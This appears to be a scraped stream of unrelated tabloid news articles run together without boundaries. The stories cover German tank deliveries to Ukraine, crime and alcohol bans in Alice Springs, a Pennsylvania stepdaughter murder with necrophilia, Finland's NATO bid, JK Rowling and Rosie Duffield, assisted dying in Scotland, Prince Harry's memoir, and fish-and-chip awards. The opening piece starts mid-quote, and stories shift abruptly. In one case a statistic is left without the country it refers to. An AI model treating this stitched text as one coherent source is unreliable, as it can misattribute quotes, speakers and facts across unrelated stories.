'If the international pressure will get so strong, so heavy, that the isolation of Germany would be visible to everybody else, this would be an international pressure which perhaps would make him change the course, this is what we all hope for.

'I think the international pressure, the war crimes, the effect and the difference German weapons could do in this war together with other European deliveries, around about 300 tanks will be necessary to make a real difference, will become so big and irresistible that finally, eventually the German chancellor will change course but it will have taken too long, but it will happen eventually.'

Haunted by its post-World War II guilt, Germany has always acted carefully when it comes to conflicts.

German laws require countries that purchase its weapons to ask for approval before handing them over.

This is to prevent German-made armaments from being used in conflict zones against Germany's interests.

On Friday at Ramstein, some 50 nations agreed to provide Kyiv with billions of dollars' worth of military hardware, including armoured vehicles and munitions needed to push back Russian forces.

European foreign ministers on Monday agreed to spend an extra 500 million euros to arm Ukraine, diplomats said. This takes the total common EU spending to 3.6 billion euros.

Russia's parliament officials have warned that nations arming Ukraine risk their own destruction, which would lead to 'a global catastrophe'.

State Duma chairman Vyacheslav Volodin said: 'Supplies of offensive weapons to the Kyiv regime would lead to a global catastrophe.'

Ukraine says the heavily armoured Leopard battle tanks would give its ground troops more mobility and protection ahead of a new Russian offensive expected in coming months, and could give them the firepower they need to regain the momentum.
Anthony Albanese has announced new measures to deal with out-of-control crime in Alice Springs during a visit to the troubled outback town on Tuesday.

The Northern Territory community is in the grip of a spate of break-ins, robberies and violent crimes, committed primarily by youth, since alcohol bans were lifted in July.

The Prime Minister, after touching down in the troubled red centre, declared that immediate restrictions on alcohol sales will be in place for the next three months.

Northern Territory Chief Minister Natasha Fyles said the current limit on takeaway alcohol on Sundays would be extended to bans on Monday and Tuesday, bottle shop open hours will be reduced to between 3pm and 7pm only, and only one daily transaction will be allowed per person.

She acknowledged that 'not everyone will be happy' with the move.

On Channel 10's The Project, the NT Police Commissioner Jamie Chalker told host Waleed Aly about the enormous damage alcohol does to the community.

During the interview, Aly pointed out that the commissioner is white - saying that may be controversial for some viewers due to the nature of the grog ban.

Anthony Albanese (pictured) has announced new measures to deal with out-of-control crime in Alice Springs on a visit to the troubled outback Northern Territory town on Tuesday

'The community will probably note that here we are asking you, a white Police Commissioner, his thoughts. Do you understand how some people might bristle at that whole situation?' Aly asked.

Commissioner Chalker replied: 'A lot of people who I hold very dear are Aboriginal... I feel that we come from a pretty good place'.

He then spoke about the devastating impacts alcohol abuse has on the community.

'It is a harsh reality that the involvement of police in families due to alcohol-related harm and family and domestic violence is fairly present, but to all the communities that we tend to visit, they all ask for us to continue our presence there,' he said.

'Certainly when I was walking the street on Thursday night, I engaged with nearly 100-odd people who were keen to come up and have a chat, including the youth on the street.'

The Commissioner added that many people in Alice Springs were waiting to return home to other areas.

He said they 'had been there for a myriad of reasons, from health-related services to a whole range issues and ultimately we were urging them to head home, but from their lens, a lot of them were having fun'.

Waleed Aly (pictured) spoke with the NT's Police Commissioner on The Project

Commissioner Chalker, who was deployed to Alice Springs in mid-1995 said it was important to remember alcohol abuse in Alice Springs is not a new issue.

'Back then, under a power that we have called protective custody, we were taking in excess of 150-plus people per Friday night into the watch-house purely for detention due to their level of intoxication and no-charge policy.'

Nearly 30 years later, he said, the problems have not gone away.

'Takeaway licensed premises are open by 2pm and by 2.05pm there is not a single patron left in those venues, but 300 people have spilled into the streets from those venues.'

'It is an issue that goes to the point that what is driving people that feel the need to consume alcohol at those alarming levels that is then spilling into the community.'

Supermarket giant Woolworths had to close security doors to exits at its Alice Springs store (pictured) while shoppers were still inside, to try to curb violent incidents

A smashed glass cabinet in a bottle shop in Alice Springs is pictured, posted by a local pressure group

There will also be a new body created to coordinate partnerships between the Territory and Federal Governments.

'We have agreed to establish a central Australian regional controller and that person will be Dorrelle Anderson,' Mr Albanese said.

'Dorrelle is the right person for the job, someone who is very experienced and someone who is familiar with this local community.

'She will have the responsibility to make sure that we get federal and state programs coordinated in the best possible way.'

A smashed window in an Alice Springs business is pictured, posted online by a community group

Ms Fyles and Mr Albanese made it clear in their press conference that even more limits on alcohol could soon be introduced if needed.

'We all have a role to play and (these changes) will significantly reduce the amount of alcohol,' Ms Fyles said.'

'We'll put them in place for three months and whilst that is in place, we will work on other measures as we have done continually since we came to government in 2016.

'We will also work with the Commonwealth around a package to support kids and families. We will have two facilities that we will stand up, that will allow children to remain with their families, but to have the support and programs.

'We will look at alternative models to provide that support and care. Central Australia is a very special place. The Prime Minister and myself as Chief Minister, we won't give up.'

Earlier, the Prime Minister met Alice Springs leaders about surging youth crime rates in the remote city, which one of his senior ministers has branded a crisis.

Mr Albanese said it's a challenging situation, where many locals are fed up with the violence and calling for 'boots on the ground'.

The Northern Territory's Chief Minister Natasha Fyles (pictured) announced immediate new alcohol restrictions for Alice Springs and Central Australia

What is behind the crime wave in Alice Springs and what is being done about it? Alice Springs is in the grip of a spate of break-ins, robberies and violent crimes committed primarily by youth in the area since alcohol bans were lifted in July. Problems were 'immediate', police said, when the Stronger Futures in the Northern Territory Act ended on July 17, 2022, meaning alcohol was available for the first time in many of the Territory's Indigenous settlements since 2007. Opposition Leader Peter Dutton said the situation in the outback Northern Territory town is 'the biggest issue in our country today'. 'There are reports of kids running around with machetes, children not wanting to go back home because they feel it's unsafe to stay there so they're out committing crimes,' he said. Mr Dutton called for the Prime Minister to go to Alice Springs to see the situation for himself, and on Tuesday, he did. Speaking in the town, Anthony Albanese announced immediate restrictions on alcohol sales, which will be in place for the next three months. Northern Territory Chief Minister Natasha Fyles said the current limit on takeaway alcohol on Sundays will be extended to bans on Monday and Tuesday, bottle shop hours will be reduced to between 3pm and 7pm only, and only one daily transaction will be allowed per person. She acknowledged that 'Not everyone will be happy with these announcements.' Advertisement

'All Australians deserve to live in safe and healthy communities,' he said on Twitter on Tuesday.

'I'm here in Alice Springs to meet with community groups, (the) council, the (Northern Territory) government and frontline services.'

NT Chief Minister Natasha Fyles said alcohol and dysfunctional remote communities were to blame, but another Howard-era intervention with booze bans and welfare controls was not the answer.

'We need to talk to the Commonwealth about needs-based funding for certain services,' she told Sky News on Tuesday after arriving in Alice Springs.

'I don't believe we need federal intervention from the police or the military.'

Ms Fyles said the problems in Alice Springs were multifaceted and they needed to be solved urgently.

'I've met with police here in Alice Springs today and they're as frustrated as I am but we won't give up, we will continue to work on solutions (and) I believe those solutions are within the NT, not from the military,' she said.

Alice Springs traditional owner group Lhere Artepe Aboriginal Corporation said decades of 'chronic and systemic neglect' in remote communities had fuelled the crisis, which was 'out of control' and 'shameful'.

'The men, women and children on the streets of Alice Springs are rarely (local) Arrernte people,' chief executive Graeme Smith said.

'They are almost all from bush communities where they live in third world conditions with no future and little hope.'

He said for many, Alice Springs streets were better than their own 'crowded, broken and impoverished' communities.

Mr Smith said recently revoked intervention-era alcohol bans had contributed to the problem.

Earlier, Labor frontbencher Bill Shorten said the crisis demanded immediate attention but resolving the issue could not just be a police issue.

'It will be tackling the root causes of what's causing the heartache and the distress,' he said.

'It is a crisis. There's no question there are real problems there.'

He said the people of Alice Springs didn't want another heavy-handed response from Canberra.

NT Police Commissioner Chalker said he would welcome any federal support, including more police, but strongly rejected the deployment of the defence force to impose martial law.

Community group Action for Alice has posted a series of photos of businesses damaged in violent acts in the town, such as this smashed shop window

'We cannot arrest our way out of this,' he said.

Mr Chalker said failed social policies and alcohol were part of the problem, but he stopped short of calling for a reinstatement of mandatory dry areas.

'My people are continuing to surge to the line, but where is everybody else?' he told ABC Radio.

'There's a lot of services that just simply are not available on the ground in these remote communities.

'You add alcohol consumption into the mix and family tensions and then we're dealing with the fallout of that too.'

Another smashed bottle shop fridge in Alice Springs is pictured, showing the level of violence in the community

He said Townsville was also suffering significant social order issues, along with towns in the Kimberley region.

'There is something acutely underlying here,' he said.

Federal deputy Liberal leader Sussan Ley also stopped short of calling for the reinstatement of mandatory alcohol bans but said the government needed to do better.

'These are complex issues, they're not easily solved and there needs to be some tough love,' she said.

Opposition Leader Peter Dutton branded it 'the biggest issue in our country today'.

'There are reports of kids running around with machetes, children not wanting to go back home because they feel it's unsafe to stay there so they're out committing crimes,' he said.

Opposition Leader Peter Dutton (pictured) said the lawlessness in Alice Springs is 'the biggest issue in our country today'

'It's a law and order and crime problem.'

In a shocking example of the massive difficulties Alice Springs faces, a Woolworths store was forced to shut its security doors while still open and impose strict closing hours to try to curb violent incidents.

The shop will bring forward its closing time from 9pm to 7pm from January 30 to protect shoppers and staff from 'incidents'.

'The safety and well-being of our team and customers is of the utmost importance to us,' a statement from Woolworths read.

The supermarket has closed security doors across all exits at night since January 15 in response to a violent attack at the store.

'There is no place for violence anywhere in our community,' the store said.

'We thank police for their swift response to the incident that occurred at our Alice Springs store recently.

'Our team reacted calmly to the incident in line with our established safety procedures, and we thank them for doing so in trying circumstance.'

Darren Clarke (pictured), who runs the Action for Alice Facebook page has called for the sacking of NT Police Minister Kate Worden

An Alice Springs business owner said his bakery has been broken into 41 times amid chronic crime and anti-social behaviour.

Darren Clarke's Facebook page, Action for Alice, was set up to raise awareness and share anecdotal photos and stories about the situation in the town.

'This place is totally out of control. The violence on the streets is totally out of control,' he said.

'Something has got to be done.'

Mr Clarke has also called for the NT Police Minister Kate Worden to be sacked.
An Allen Township man accused of murdering his stepdaughter, Jessica Padgett, videotaped himself having sex with her corpse  a recording that was recovered on his computer, Northampton County District Attorney John Morganelli said Friday.

He said the video, in the possession of state police, offers categorical confirmation of what Gregory R. Graf already told investigators on the day he was charged with homicide last month: that he wanted to have sex with Padgett, and that he did so after she was dead.

He videotaped it, Morganelli said, so theres a videotape of him abusing the corpse sexually.

Morganelli said he has concluded that Graf took Padgetts life in order to have sex with her body.

I believe it was a direct motive, in my opinion, Morganelli said, and thats what were going to be arguing.

The disturbing revelation came as Morganelli said he has authorized the filing of an abuse of corpse charge against Graf, 53. A misdemeanor, it means that Morganelli will be unable to seek the death penalty for Graf, considering that the alleged sexual abuse occurred after  and not before  Padgett was killed.

Under Pennsylvania law, a murder in perpetration of a felony is an aggravating factor that allows prosecutors to pursue capital charges. Rape rises to that level, but the sexual desecration of a corpse does not, as case law has established, Morganelli said.

It is not a capital case. Weve reviewed the aggravating factors, Morganelli told President Judge Stephen Baratta during a court hearing Friday morning involving Graf, his first public appearance since his arrest.

The existence of the video was disclosed by Morganelli on Friday afternoon during an interview with The Morning Call. He declined to discuss specifics of what it showed, other than to say that Graf committed a variety of sexual acts against Padgett, a 33-year-old Whitehall Township woman who had once described him on social media as like a second father.

The video makes absolutely clear that Padgett was dead at the time, as Graf claimed to state police on Nov. 26 during an interrogation at the barracks in Bethlehem, Morganelli said.

The acts are clearly consistent with what he said, Morganelli said.

The development makes definitive what Morganelli had only suggested as a possibility before: that the allegations against Graf include necrophilia, a prospect the district attorney had repeatedly hinted at.

When Graf was first charged, Morganelli said Padgett was killed with a sexual assault motive that may have been realized either prior, during or after she was slain. Then, on a cable news show, Morganelli said investigators were exploring whether Graf was driven by a desire, perhaps, to have sex with a deceased body. A day later, Morganelli called the case bizarre and said necrophilia hadnt been excluded.

I said from the beginning this was before, during or after, Morganelli said Friday. Ive now concluded this was after.

Graf is accused of shooting his stepdaughter in the back of the head on Nov. 21 and hiding her body on his nearly 7-acre property on Covered Bridge Road while family and friends searched frantically for her.

Padgett went missing that day after she left Duck Duck Goose Child Care in Northampton and never returned to her job there. A police affidavit places the shooting roughly 10 minutes after she was last seen, though her body wasnt recovered until five days later.

Morganelli said the video, which he had not viewed, was found by police on Thursday. It was made somewhere in Grafs home, where he is believed to have killed Padgett, Morganelli said.

Reference to the video was not made during Grafs brief court appearance Friday, in which he was brought before Baratta after requesting a public defender and being denied because of his wealth.

Graf, whose voice at one point appeared to catch with emotion, told Baratta he had asked for a taxpayer-funded lawyer to avoid spending money that his family could otherwise use. He said his assets are held jointly with his wife, Danelle, the mother of Padgett, and he did not wish to deplete them.

Like I said, I just dont want to take away the funds from the family, said Graf, the owner of a fencing company.

His stance was blasted in court by Morganelli, who said Grafs own financial disclosures to the public defenders office showed he can afford an attorney.

Mr. Graf has just basically told you that hed rather waste the taxpayer money on his defense than his own [money], Morganelli told Baratta.

But with Baratta saying that Graf will have to pay for a lawyer one way or the other, the defendant said he will now look to hire one. If not, Baratta said he had planned to appoint an attorney to represent Graf, who would then be responsible for reimbursing the county for the cost.

Youre not going to be able to escape paying for the resources of an attorney, Baratta told Graf, who is being held without bail in Northampton County Prison. I just cant allow that.

It doesnt sound like youre giving me a lot of choices, Graf said in conceding that he will have to find a lawyer.

After the hearing, Chief Public Defender Robert Eyer would not disclose the assets Graf reported. Eyer said he has discretion in determining whether a defendant has enough money to pay for counsel, and concluded that Graf did, even considering the seriousness of the homicide charge he faces.

Graf owns Distinctive Fence, a company located at his address in Allen Township, and he and his wife were building another home in Florida. Morganelli has said Graf also had a marijuana-growing operation at his house that was discovered by police as they searched for Padgett.

According to a search warrant return filed Thursday in county court, police seized 13 bags of marijuana, $42,000 in cash and envelopes containing marijuana seeds from in a safe in the basement of Grafs home. Police found evidence of a former marijuana grow at an exterior building on the property, and also confiscated a marijuana horticulture book, pipes and a vaporizer, and other paraphernalia.

The disappearance of Padgett, a recently married mother of three children, sparked an exhaustive effort to find her that included a Help find Jessica Padgett Facebook page that drew thousands of members. Her body was recovered hidden behind a shed, state police saying Graf helped them find it.

Padgetts family has declined to speak publicly since Grafs arrest, when they released a statement in which they called her a beautiful and vibrant young woman and asked that their privacy be respected while they grieve.

Efforts to reach the family on Friday were unsuccessful. Morganelli said he had spoken to Padgetts husband, Michael Padgett, and informed him of the existence of the video.

Morganelli said he gave Michael Padgett his cellphone number and invited him and his family to come to the district attorneys office whenever they are ready to discuss the case.

Morganelli said the abuse of corpse charge will be filed Monday. Under the statute, the crime occurs when someone treats a corpse in a way that he knows would outrage ordinary family sensibilities.

riley.yates@mcall.com

Twitter @riley_yates

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Finland is considering joining NATO without Sweden after Turkey threatened to block their Scandinavian neighbours' application.

Sweden's hopes of joining the military alliance went up in flames on Monday when Turkish President Recep Tayyip Erdogan warned Ankara would not approve the bid following a burning of the Koran outside its Stockholm embassy.

While Finland's foreign minister said Tuesday a joint bid with Sweden would be his country's first and preferred option, his country now had to assess whether something could prevent its success.

Later in the day, Turkish state media reported that Ankara had indefinitely postponed a new round of talks with the Nordic neighbours over their NATO bids. The talks were due to be held next month, the reports said, citing Turkish diplomatic sources.

Sweden's hopes of joining the military alliance went up in flames on Monday when Turkish President Recep Tayyip Erdogan warned Ankara would not approve the bid following a burning of the Koran outside its Stockholm embassy. Pictured: Far-right leader Rasmus Paludan, 41, burns the Koran outside the Turkish embassy in Stockholm on Saturday

'We have to assess the situation, whether something has happened that in the longer term would prevent Sweden from going ahead,' Pekka Haavisto said on Tuesday.

The Foreign minister added that it was 'too early to take a position on that now' and that a joint application remains the 'first option'.

'My own assessment is that there will be a delay (in getting Turkey's approval), which will certainly last until the Turkish elections in mid-May', Haavisto added.

Swedish hopes were severely damaged on Saturday when Danish-Swedish far-right politician Rasmus Paludan set fire to a copy of the Muslim holy book in front of Turkey's embassy in the Swedish capital.

As expected, the burning of the Koran enraged Turkey, a Muslim-majority country, with protesters taking to the streets and burning the Swedish flag.

'Sweden should not expect support from us for NATO,' Turkey's President Recep Tayyip Erdogan said Monday in his first official response to the act.

He continued: 'It is clear that those who caused such a disgrace in front of our country's embassy can no longer expect any benevolence from us regarding their application for NATO membership.'

Turkey had appealed to Sweden to stop the protest and called off a visit by Sweden's defence minister Pal Jonson. Erdogan said the burning of the Muslim holy book was a hate crime that could not be defended by free speech.

Turkey's President Recep Tayyip Erdogan warned Sweden on Monday that it should not expect Turkey's support to join NATO after the book burning stunt outside the Stockholm embassy

The incident has met with fury from Turkey, as protestors were pictured burning a Swedish flag in response in Istanbul on Saturday

Things turned sour in the NATO talks when a small Kurdish group hung an effigy of Erdogan outside Stockholm's city hall earlier this month (pictured)

Sweden and Finland last year applied to become members of NATO after the Russian invasion of Ukraine, ending decades-long policies of non-alignment.

But their bids must be approved by all 30 Nato member states.

The two Nordic countries still rely on votes from Turkey and Hungary, which Hungarian Prime Minister Viktor Orban has promised to deliver in 2023.

But Erdogan has dug in his heels heading into a close election in which he is trying to energise his nationalist electoral base.

Sweden reacted with extreme caution to Erdogan's latest remarks.

'I cannot comment on the statement tonight. First, I want to understand exactly what was said,' Foreign Minister Tobias Billstrom told Sweden's TT news agency.

Finland's Haavisto said a 'timeout' of a few weeks is needed in the talks between Finland, Sweden and Turkey.

'A timeout is needed before we return to the three-way talks and see where we are when the dust has settled after the current situation, so no conclusions should be drawn yet,' he told Reuters. 'I think there will be a break for a couple of weeks.'

Swedish leaders have roundly condemned the Koran burning but defended their country's broad definition of free speech.

'I want to express my sympathy for all Muslims who are offended by what has happened in Stockholm today,' Prime Minister Ulf Kristersson tweeted on Saturday.

Haavisto said anti-Turkey protests in Sweden had 'clearly put a brake on the progress' of the applications by Finland and Sweden to join the trans-Atlantic military alliance.

'We are on a very dangerous path because the protests are clearly delaying Turkey's willingness and ability to get this matter through parliament', he said.

Haavisto also accused the protesters of 'playing with the security of Finland and Sweden'.

'They are taking actions that are clearly intended to provoke Turkey,' he said.

While Finland's foreign minister Pekka Haavisto (pictured arriving to hold a news conference in Helsinki on January 24) said a joint bid with Sweden would be its first option, his country now had to assess whether something could prevent its success

Erdogan has already set out a series of tough conditions that include a demand for Sweden to extradite dozens of mostly Kurdish suspects that Ankara either accuses of 'terrorism' or of involvement in a failed 2016 coup.

Sweden's courtship of Turkey appeared to be making headway with a flurry of visits by top ministers to Ankara.

Stockholm has also enacted a constitutional amendment that will make it possible to pass tougher anti-terror laws demanded by Ankara.

But things turned sour when a small Kurdish group hung an effigy of Erdogan outside Stockholm's city hall earlier this month.

Turkey summoned the Swedish ambassador and revoked an invitation for its parliament speaker to visit Ankara.

The Swedish police decision to approve Paludan's protests drew a similar response.

Turkey summoned Stockholm's ambassador for another dressing down and cancelled a planned visit by Sweden's defence minister.

Erdogan said the burning of the Muslim holy book was a hate crime that could not be defended by free speech.

'No one has the right to humiliate the saints,' he said in nationally televised remarks.

'When we say something, we say it honestly, and when someone dishonours us, we put them in their place.'

Jens Stoltenberg, the secretary general of NATO, condemned Erdogan's position on Sweden.

In an interview with German title Die Welt, he said that 'freedom of expression, freedom of opinion is a precious commodity, in Sweden and in all other NATO countries. And that is why these inappropriate acts are not automatically illegal.'

Stoltenberg, who last spring was talking of a fast-track membership process of just a few weeks, added in the interview that the Swedish government had condemned the demonstration 'in very clear terms'.
JK Rowling has launched a broadside at the Labour Party over its treatment of its MP Rosie Duffield - after it briefed against her over the weekend.

MP for Canterbury Ms Duffield said last week that she felt that her campaigning for women's rights had left her 'cold shouldered' by Keir Starmer's Labour.

Yesterday audio of Starmer's aide Matthew Doyle emerged where he briefed claims that her constituents wanted her to spend 'more time in Canterbury' instead of with Ms Rowling.

The Harry Potter writer said last night: 'Rosie Duffield, an ex-assistant teacher, single mother and survivor of domestic abuse, won Labour a seat they thought was unwinnable. Post-Corbyn, she was returned to parliament with an increased majority. This is how Labour repays her.'

JK Rowling with Ms Duffield at a lunch at the River Cafe for women's rights campaigners

JK Rowling aired her views on Labour's treatment of the MP on her 13.9million follower Twitter

Ms Rowling had organised a lunch at the River Cafe last year for women's rights campaigners, including Ms Duffield.

It came after a women's rights campaign called 'Respect My Sex if you want my X', which 'encourages voters to ask politicians for their views on sex and gender identity'.

Ms Rowling later published a picture of her posing with Ms Duffield on Twitter, with the caption: 'Two ex-single mums now united for women's rights.'

In response, Ms Duffield said she had 'never had the pleasure of meeting' the adviser, who was apparently recorded 'loudly ranting about me' in Parliament on Friday.

SNP MP Kirsten Oswald and Kaukab Stewart, one of the party's MSPs, were among those spotted near to the 'decapitate TERFs' placard

Harry Potter author J.K.Rowling, who has clashed with Ms Sturgeon over the Scottish Parliament's gender identity legislation, raised concerns about the signs

She said that 'while he was overheard loudly opining on my whereabouts and choice of friends', she was meeting people in her constituency. 'On a more serious note, when women are considered difficult, these statements are obviously designed to undermine us,' she wrote on Twitter. 'Sow a little seed of doubt rumours that might catch on. Politics is nasty. But think on. I am used to so much worse.'

She also said there were a 'couple of inaccurate comments from this chap' as she had been in to see Sir Keir only once, in September 2021, and claimed the leader had not been to Canterbury.

Earlier in the day the author also raised concerns over placards seen at a pro-trans rights rally after SNP politicians were pictured near a 'decapitate TERFs' sign.

Police have launched a probe after receiving a report about one of the signs at the rally on the city's Buchanan Street, amid claims it represented a 'hate crime' and a 'public order offence'.

SNP MP Kirsten Oswald and Kaukab Stewart, one of the party's MSPs, were spotted near to the 'decapitate TERFs' placard - which used the acronmym for 'trans-exclusionary radical feminist'.

Nicola Sturgeon spoke out against the banners on display at the Glasgow demonstration on Saturday

Ms Oswald has condemned the 'horrific' and 'unacceptable' sign and said it 'wasn't there when I joined the demo'.

And Ms Stewart has also said she was 'not aware of these hateful signs' when she attended the protest.

Nicola Sturgeon insisted it was not 'credible' to suggest that SNP politicians condoned the views expressed in offensive placards.

The SNP leader told a press conference: 'All politicians have an obligation to contribute to debate that is civil and respectful and that's a responsibility I take seriously and would expect all members of my government and all elected members of my party to take seriously as well.

'That said, I have attended many demonstrations over my many years in politics now and probably on all of them I've seen placards or signs that would not align with my views on the topic of the demonstration.

'Certainly, from the images I have seen, that was the case at the demonstration on trans rights on Saturday.

'The placards that I have seen in absolutely no way, shape or form accord with my views and I would condemn the way in which those views were expressed and the views that were expressed there.

'And I dont think it is fair or credible to suggest that the elected representatives who were there in any way share or condone those views.'

The Scottish First Minister also highlighted how she herself had been the subject of 'completely unacceptable' placards during demonstrations against her gender identity legislation.

'I think weve all got a responsibility to express ourselves, particularly elected representatives, in ways that we think are appropriate and I would certainly say that applies to me and others within my party,' she added.

But Ms Sturgeon later clarified she was not trying to draw 'an equivalence' between offensive placards about her and those that appeared to encourage violence against women.

Saturday's demonstration came in the wake of Prime Minister Rishi Sunak's decision to use a Section 35 power to block the Scottish Parliament's Gender Recognition Reform (Scotland) Bill from becoming law.
Assisted dying could be seen as a cost-saving exercise if the practice was to be allowed in Scotland, a leading cleric has warned.

Rt Rev Iain Greenshields, moderator of the Church of Scotland, said he is concerned that letting terminally-ill patients legally end their lives would permanently change the NHS, particularly given how much pressure it is currently under.

'Is this really the way we wish to see precious caring resources directed? Given the pressure on healthcare resources, we are also very concerned that assisted dying could be seen as providing an opportunity for cost saving,' he told The Telegraph.

Rev Greenshields said passing such laws may open up a raft of unexpected challenges and sick or disabled people would start to be seen as burdensome.

'The acceptance by society of legally-assisted dying profoundly changes relationships not only between health professionals and patients, but also within families,' the church leader said.

Rt Rev Iain Greenshields, who is the moderator of the Church of Scotland, warned allowing terminally ill patients to legally end their own lives would permanently change the NHS, particularly given how much pressure it is currently under

'We are concerned that, should assisted dying be legalised, the way our society views older people and those with disabilities will, over time, become more utilitarian.'

Citing Canadian laws for the practice, Rev Greenshields said even with strict conditions in place, opening floodgates by passing any version of the law would likely result in later expansion.

It is estimated assisted dying could reduce costs by up to 84million per year, the publication reports.

Advocates of euthanasia say it offers terminally-ill patients a painless and fast alternative.

There are concerns the overwhelmed NHS could see assisted dying as a cost-saving exercise (file photo)

A members Bill to introduce the practice is being put before Parliament.

While it's gaining momentum, two previous similar attempts have failed.

The last vote to change the laws over assisted dying in the UK, in 2015, was defeated by 300 votes to 118.

In 2021, some 10,000 people used the assisted dying scheme.

The program has faced scrutiny amid claims that people are now seeking assisted suicide due to poverty and homelessness or mental anguish, as opposed to the traditional method of the terminally-ill seeking a painless death.
Meghan Markle raised 'gentle concerns' about Prince Harry's decision to release Spare and was worried if it was the right move, it was claimed today.

As the Duke of Sussex's memoirs hit the couple's popularity on both sides of the Atlantic, his wife is said to have expressed concerns that it could ruffle feathers.

The royal couple are known for putting on a united front, including during the incendiary interview with Oprah Winfrey in March 2021. Harry was also in the audience with schoolchildren in New York when Meghan promoted her book The Bench.

But as Harry, 38, released his explosive memoir Spare, which slams his family and reveals that he killed 25 Taliban fighters, Meghan, 41, has been notably absent from any promotion or interviews.

She allegedly stayed away because she would have been accused of 'trying to steal the limelight'  but also 'media-savvy' Meghan may have raised gentle concerns about whether the book was the right move, one insider told the Telegraph.

The source said: 'Is this the way she would have approached things? Possibly not. But she will always back him and would never have got involved in promoting such a personal project. This was about his own life, his journey and his own perspective.'

The book's release has coincided with Harrys popularity dropping to an all-time low after the fallout from his memoirs  in both the US and the UK.

Harry appeared on The Late Show with Stephen Colbert with his wife staying away from New York

Meghan and Harry attend the 2022 Robert F. Kennedy Human Rights Ripple of Hope Gala in New York last month

Meghan Markle has been seen far less frequently in the wake of the release of Spare

Since its release, Harry himself has admitted that he had made changes to the book.

The duke told the Telegraph he chose to leave out several bombshells because he was concerned his father and brother would not 'ever forgive' him.

'The first draft was different. It was 800 pages, and now it's down to 400 pages. It could have been two books, put it that way. And the hard bit was taking things out,' he said.

'There are some things that have happened, especially between me and my brother, and to some extent between me and my father, that I just don't want the world to know. Because I don't think they would ever forgive me.'

But he warned the royals: 'The way I see it is, I'm willing to forgive you for everything you've done, and I wish you'd actually sat down with me, properly, and  instead of saying I'm delusional and paranoid  actually sit down and have a proper conversation about this, because what I'd really like is some accountability. And an apology to my wife.'

The duke has faced a storm over Spare, which has driven an extraordinary wedge between him and the rest of his family.

Harry claimed he knew including details about intimate moments with his family would attract backlash  but ultimately decided he couldn't truthfully tell his story without them.

There are other details, though, that he knew would cross the line if he published them.

These memories were shared with his ghostwriter only for context, and did not make the final cut.

Harry and Meghan are said to have signed a four-book deal worth upwards of 16million ($20million) with publishing giant Penguin Random House.

He told the Telegraph that any chance of reconciliation with his family is 'unlikely at the moment', arguing that you don't make friends  'especially within my family'  if you talk about trauma.

He said: 'How dare you talk about it, because that makes us feel uncomfortable.'

His message to the Royal Family is that while 'you may not like me in the moment', hopefully in five or 10 years' time, 'maybe you'll thank me'.

The Sussexes typically put on a united front, such as when Harry made an appearance at the end of his wife's interview with Oprah Winfrey in March 2021.

He has made a number of cameos since, from sitting in the audience with schoolchildren in New York while Meghan promoted her book The Bench, to juggling in the window at the end of her 40th birthday video.

'We're like salt and pepper,' Meghan once said. 'We always move together.'

But as Harry released his explosive memoir, Meghan has been notably absent.

Meghan Markle was 'more wary' of Prince Harry's memoir release, sources have claimed - as the Duchess was notably absent from his lengthy media tour

The royal couple typically put on a united front, with Prince Harry making an appearance at the end of his wife's interview with Oprah Winfrey in March 2021

The duke sits with schoolchildren as Meghan reads from her book The Bench in New York in September 2021

The memoir includes claims that the Prince of Wales physically attacked him and teased him about his panic attacks, and that the King put his own interests above Harry's and was jealous of Meghan and the Princess of Wales.

The prince has taken part in a number of high-profile media engagements since the book launched on January 10, including an interview with Anderson Cooper for CBS' 60 Minutes.

He also appeared on the Late Show with Stephen Colbert  very much on his own.

The duchess was last seen publicly with Prince Harry last month when the couple travelled to New York to accept an award for their 'heroic' stand against 'structural racism' in the Royal Family.

Sources have told the Telegraph that had Meghan been involved in any aspect of promoting the book, she may well have been accused of trying to steal the limelight.

Others have suggested Meghan's absence sends a message: this is Harry's project.

It was said by a source close to the couple that Meghan was 'more wary' about the extremely personal memoir than the prince was, adding she may have raised 'gentle concerns'.

It has also been alleged that 'truth bombs' revealed in Harry's book could have 'dire consequences' for his wife Meghan's political ambitions.

In one passage, the prince  who was known as 'Captain Wales' while in the military  wrote that he did not think of those killed 'as people' but instead as 'chess pieces' he had taken off the board.

The prince has taken part in a number of high-profile media engagements since the book launched on January 10, including an interview with Anderson Cooper for CBS' 60 Minutes

Another passage described him taking cocaine 'a few times' as a 17-year-old and a bad mushroom trip in which he hallucinated that a bin was talking to him.

Brand experts have said the revelations could scupper Meghan's political hopes amid speculation that she may have ambitions for elected office.

Nick Ede told MailOnline: 'The revelations from the new book Spare will have a direct effect on Meghan's lofty ambitions of running for office.

'With her husband's candid admissions of drug use, lurid tales of his loss of virginity and more importantly his admission to killing 25 people when on active duty, these could potentially have dire consequences on her and her ambitions.

'We know that when someone has political ambitions that they are constantly under the microscope not only from the media but also political opponents.'

It was claimed last week that Spare has become the fastest-selling non-fiction book since records began in 1998.

It was said by a source close to the couple that Meghan was 'more wary' about the extremely personal memoir than the prince was, adding she may have raised 'gentle concerns'

The Duke of Sussex's autobiography has sold 750,000 copies across all formats - print, audio and e-book - in the UK since its publication on January 10

The duke's autobiography has sold 750,000 copies across all formats  print, audio and e-book  in the UK since its publication on January 10.

This makes it the biggest-selling memoir ever for its first week of publication, according to publishers Transworld, the UK division of Penguin Random House.

Official figures from Nielsen BookData showed the book, which was written by celebrity ghostwriter JR Moehringer, sold 467,183 print copies in its first week alone.

The Nielsen data shows the book has broken the previous record of 210,506 set by the first Pinch Of Nom cookbook by Kay Allinson in 2019.

In a US broadcast promoting the work, Harry branded Camilla, the Queen Consort, the 'villain' and 'dangerous', accusing her of rehabilitating her image at the expense of his.

As the prince continued a run of high-profile promotional interviews, he said he 'would like nothing more' than for his children to have relationships with the Royal Family.

His remarks about his son and daughter came despite criticism he has levelled at his brother William, father Charles and stepmother Camilla.

He also described his late mother Diana, Princess of Wales, as his 'guardian angel' and said she is with him 'all the time'.
The shortlist for the UK's best fish and chip shops have been announced and not a single London establishment has made the top 10 best takeaways or restaurants.

The announcement comes ahead of this year's National Fish and Chip Awards - which will be hosted by comedian Jason Manford.

However, it's a similar story for most of the south east which save for a few exceptions has also performed poorly.

Running for more than 30 years, the annual awards celebrate Britain's top chippies from best takeaways to best newcomers, restaurants and suppliers.

The shortlist for the UK's best fish and chip shops has been announced. Stock image

The south east and big smoke's failure to chart high up on the table is at stark contrast to the north of the UK, which is well represented indeed.

There are 10 categories, including best newcomer, best takeaway and best restaurant.

Organised by The National Federation of Fish Friers (NFFF), this year's awards will take place on February 23 at the Park Plaza Westminster Bridge.

Andrew Crook, President at the NFFF, described this year's host as a 'firm family favourite, just like fish and chips. We're so looking forward to celebrating.'

